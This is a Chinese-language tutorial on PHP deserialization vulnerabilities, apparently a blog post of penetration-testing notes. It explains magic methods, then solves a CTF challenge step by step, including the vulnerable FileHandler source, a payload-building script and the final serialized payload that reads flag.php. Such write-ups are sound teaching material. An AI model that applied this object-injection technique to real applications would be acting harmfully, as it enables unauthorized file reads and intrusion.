WEB漏洞-反序列化之PHP&JAVA全解(上)

WEB漏洞-反序列化之PHP&JAVA全解(上)_第1张图片WEB漏洞-反序列化之PHP&JAVA全解(上)_第2张图片

PHP 反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct()	//创建对象时触发
__destruct() 	//对象被销毁时触发
__call() 			//在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() 			//用于从不可访问的属性读取数据
__set() 			//用于将数据写入不可访问的属性
__isset() 		//在不可访问的属性上调用 isset()或 empty()触发
__unset() 		//在不可访问的属性上使用 unset()时触发
__invoke() 		//当脚本尝试将对象调用为函数时触发
__wakeup()    //当在反序列化时,php就会调用__wakeup方法(如果存在的话)

php序列化
s:3:“aaa”; 为序列化结果(s代表类型,3代表字符串个数。如果是int型,就是i,并且不显示个数例如i:123; )
WEB漏洞-反序列化之PHP&JAVA全解(上)_第3张图片php反序列化
aaa 为反序列化结果
在这里插入图片描述

无类序列化小例子:

此处通过GET方式接收值存入变量str,再通过if进行判断,如果变量str的值反序列化的结果等于变量key中的值时,就输入falg

 
include "flag.php";
$key="key";
$str=$_GET['str'];
if(unserialize($str)==="$key"){
	echo "$flag";
}
 ?>

访问当前页面并在url处通过GET方式提交参数,使提交的值进行反序列化后等于变量key中的值WEB漏洞-反序列化之PHP&JAVA全解(上)_第4张图片
有类时,当序列化或反序列化,进行的操作会触发对应的魔术方法(如果魔术方法存在的话)


	class ABC{
    public $test;
    function __construct(){
        $test = 1;
        echo '调用了构造函数
'
; } function __destruct(){ echo '调用了析构函数
'
; } function __wakeup(){ echo '调用了苏醒函数
'
; } } echo '创建对象a
'
; $a = new ABC; echo '序列化
'
; $a_ser=serialize($a); echo '反序列化
'
; $a_unser=unserialize($a_ser); echo '对象快要死了!'; ?> 运行结果: 创建对象a 调用了构造函数 序列化 反序列化 调用了苏醒函数 对象快要死了!调用了析构函数 调用了析构函数

CTF真题

https://ctf.bugku.com/challenges#flag.php

$this是一个“伪对象”,代表当前所属类的当前对象。(就相当于对当前所属的类进行了一个new操作给$this $this=new FileHandler)

1、public:public表明该数据成员、成员函数是对所有用户开放的,所有用户都可以直接进行调用
2、private:private表示私有,私有的意思就是除了class自己之外,任何人都不可以直接使用。
3、protected:protected对于子女、朋友来说,就是public的,可以自由使用,没有任何限制,而对于其他的外部class,protected就变成private。



include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {//如果op的值等于1就执行write()方法
            $this->write();       
        } else if($this->op == "2") {//如果op的值等于2就执行read()方法
            $res = $this->read();
            $this->output($res);//把$res输出
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//file_get_contents — 将整个文件读入一个字符串
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2")//如果op全等于2的话,就把op赋值为1。 $this->op = "1"; $this->content = "";//把content赋值为空字符串 $this->process();//使用process方法 } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) {//通过is_valid函数对GET传过来的值进行检测 $obj = unserialize($str);//把GET传过来的值进行反序列化,因为unserialize,所以会自动触发__destruct()魔术方法 } }

解析:(累死了)

1.当通过GET传入参数时,会用unserialize把传入的值进行反序列化,并执行__destruct()魔术方法。

2.如果op的值全等于(===)2就把op赋值为1,然后执行process()方法,判断op的值如果等于(==)1就进行write()方法中,如果op的值等于(==)2就进行read()的方法中。

3.因为此处要读取flag.php文件,所以自然是进入read()方法。又因为前面是通过===进行比较,后门是通过==进行比较,所以要让反序列化后op的结果即不(===)2又(==)2,所以op反序列化后的值可以是(int类型的2)或者(" 2" 中间有空格)‘

4.进入read()方法后,通过file_get_contents对filename的内容进行读入。因为我们的目标是对flag.php中的内容进行读取,所以必须让反序列化后filename的值等于flag.php(也就是用file_get_contents对flag.php进行读取)。

5.content的值是任意的,因为不管反序列化后content的值是什么,在__destruct时,都会把content赋值为空。

综上所述:

op反序列化后的值必须为int类型的2或者" 2"。
filename反序列化后的值必须为flag.php。
contents反序列化后的值任意。

所以要构建相对应的序列化代码得到序列化结果


class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = 2;
        $filename = "flag.php";
        $content = "Hello World!";
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a=new FileHandler();
$b=serialize($a);
echo $b."\n";
var_dump(is_valid($b));
?>

结果:

O:11:"FileHandler":3:{s:5:" * op";N;s:11:" * filename";N;s:10:" * content";N;}

我们需要自己给其中添加值,并且因为三个属性是protected类型,所以会生成chr(0)*chr(0)

O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}

但是is_valid()会对生产的payload进行检验,不能出现ascii小于32的字符。所以%00是通不过的。

这里利用的是php7.1+的版本对属性的类型不敏感,所以本地序列化时直接将属性类型改为public即可绕过。

结果:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

把序列化结果复制,通过GET方式给变量$str赋值后得到结果flag

你可能感兴趣的:(渗透笔记2,php,前端,java)